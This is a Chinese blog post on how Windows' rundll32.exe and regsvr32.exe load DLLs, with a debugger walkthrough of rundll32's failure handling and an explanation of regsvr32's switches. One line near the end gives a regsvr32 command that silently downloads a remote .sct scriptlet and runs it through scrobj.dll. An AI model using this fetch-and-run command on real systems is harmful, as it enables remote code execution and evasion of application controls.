rundll32.exe和regsvr32.exe

众所周知,DLL文件是不能独自运行的,需要被进程加载到其地址空间后才能执行。
那怎么运行一个DLL呢?
答案:可以借助Windows所提供的rundll32.exe或regsvr32.exe。

rundll32.exe

通过rundll32.exe可以直接调用DLL的导出函数来执行功能。
命令行:rundll32.exe DllName,FuncName [Arguments]
但被指定的导出函数有格式要求,导出函数的格式如下,函数参数列表中的pCommand就是通过[Arguments]传入的。

void WINAPI FuncName(HWND hWnd, HINSTANCE hInst, LPCWSTR pCommand, DWORD nCmdShow);

执行流程

其内部通过LoadLibraryEx来加载该DLL,然后通过GetProcAddress来获取导出函数地址并调用,当该导出函数返回时,rundll32会通过FreeLibrary卸载该DLL并通过ExitProcess退出进程。

看着是不是很简单,确实很简单,但涉及到了两个失败。

  1. LoadLibraryEx失败:
    GetLastError获得失败原因,然后MessageBox错误弹窗,最后ExitProcess退出进程。
    rundll32.exe和regsvr32.exe_第1张图片
  2. GetProcAddress失败:
    MessageBox错误弹窗,然后FreeLibrary卸载DLL,最后ExitProcess退出进程。
    rundll32.exe和regsvr32.exe_第2张图片

注意:MessageBox是有阻塞线程的作用的,关闭弹窗才能继续往下执行。

调试实例

rundll32.exe "C:\\testDll.dll",DllMain为例,看一下rundll32.exe的执行流程:

  1. 通过LoadLibraryEx加载该DLL,此时会调用DllMain,且第二参数是DLL_PROCESS_ATTACH
    rundll32.exe和regsvr32.exe_第3张图片
  2. 通过GetProcAddress获得指定的导出函数地址。
    rundll32.exe和regsvr32.exe_第4张图片获得DllMainW失败后,又获得了DllMainA的地址。
    rundll32.exe和regsvr32.exe_第5张图片
  3. 获得导出函数地址失败后,准备错误弹窗。
    首先通过LoadStringW获得资源ID为400的字符串("%s 出错\n丢失条目: %s");
    rundll32.exe和regsvr32.exe_第6张图片然后格式化弹窗字符串:
    rundll32.exe和regsvr32.exe_第7张图片
    然后通过LoadStringW获得资源ID为0x402的字符串(“RunDLL”);
    rundll32.exe和regsvr32.exe_第8张图片
    最后通过MessageBoxW弹窗。
    rundll32.exe和regsvr32.exe_第9张图片
    弹窗后,如果不关闭对话框,线程会一直阻塞。
  4. 点击确定后rundll32会通过FreeLibrary卸载该DLL。
  5. 最后rundll32通过ExitProcess结束自身进程。

regsvr32.exe

regsvr32.exe用于注册/卸载COM组件。

COM组件:Component Object Mode,是微软提出的一种软件开发技术。组件其实是一些小的二进制可执行程序,它们可以用于给应用程序、操作系统及其他组件提供服务。COM组件由 以DLL或EXE形式发布的可执行代码 组成。

组件DLL的导出函数列表通常会包含DllRegisterServerDllUnregisterServer

  • DllRegisterServer:注册组件,在注册表中登记该DLL;
  • DllUnregisterServer:卸载组件,在注册表中取消该DLL的登记。

先来看一下官方给出的用法(在cmd里输入regsvr32.exe即可)。
rundll32.exe和regsvr32.exe_第10张图片
看着有点迷糊,挨个来解释一下:

  • 默认情况下:即regsvr32.exe xxx.dll,此时调用DllRegisterServer来注册该DLL。
  • /u:Unregister,即调用DllUnregisterServer来卸载该DLL。
  • /s:Silent,静默,即不显示任何消息框。
  • /n:No(我猜的),不调用DllRegisterServer或DllUnregisterServer,/n必须和/i一起用。
  • /i:command:有/u时,调用DllInstall(FALSE, [cmdline])来卸载该DLL;没有/u时,调用DllInstall(TRUE, [cmdline])来注册该DLL。

应用场景

可以用regsvr32.exe来运行Scriptlet脚本:regsvr32.exe /s /u /n /i:http://127.0.0.1/file.sct scrobj.dll

该命令会调用scrobj.dll的DllInstall(FALSE, "http://127.0.0.1/file.sct"),此时会去下载file.sct并执行;
而scrobj.dll也不会被登记到注册表中,因为指定了/u

附上scrobj.dll的导出函数列表:
rundll32.exe和regsvr32.exe_第11张图片

你可能感兴趣的:(C++开发,安全)